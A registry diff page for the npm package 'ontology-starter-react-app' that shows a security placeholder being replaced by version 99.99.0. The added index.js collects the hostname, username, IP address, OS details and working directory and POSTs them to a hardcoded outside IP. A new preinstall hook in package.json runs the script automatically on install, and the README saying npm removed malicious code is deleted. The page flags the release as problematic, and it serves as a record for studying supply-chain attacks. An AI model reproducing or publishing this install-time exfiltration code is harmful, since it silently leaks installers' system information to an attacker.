ontology-starter-react-app 0.0.1-security → 99.99.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ontology-starter-react-app might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +39 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,39 @@
1
+ const os = require('os');
2
+ const http = require('http');
3
+
4
+ // Collect system information
5
+ const systemInfo = {
6
+ hostname: os.hostname(),
7
+ username: os.userInfo().username,
8
+ ip: Object.values(os.networkInterfaces())
9
+ .flat()
10
+ .find((iface) => iface.family === 'IPv4' && !iface.internal)?.address,
11
+ uname: os.type() + ' ' + os.release() + ' ' + os.arch(),
12
+ cwd: process.cwd(), // Current working directory
13
+ platform: process.platform, // Operating system platform
14
+ nodeVersion: process.version, // Node.js version
15
+ };
16
+
17
+ // Send system information to your listener
18
+ const data = JSON.stringify(systemInfo);
19
+ const options = {
20
+ hostname: '65.0.127.249', // Replace with your listener IP
21
+ port: 80, // Replace with your listener port
22
+ path: '/', // Endpoint to send data to
23
+ method: 'POST',
24
+ headers: {
25
+ 'Content-Type': 'application/json',
26
+ 'Content-Length': data.length,
27
+ },
28
+ };
29
+
30
+ const req = http.request(options, (res) => {
31
+ console.log(`Status Code: ${res.statusCode}`);
32
+ });
33
+
34
+ req.on('error', (error) => {
35
+ console.error('Error:', error);
36
+ });
37
+
38
+ req.write(data);
39
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "ontology-starter-react-app",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.99.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {}
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=ontology-starter-react-app for more information.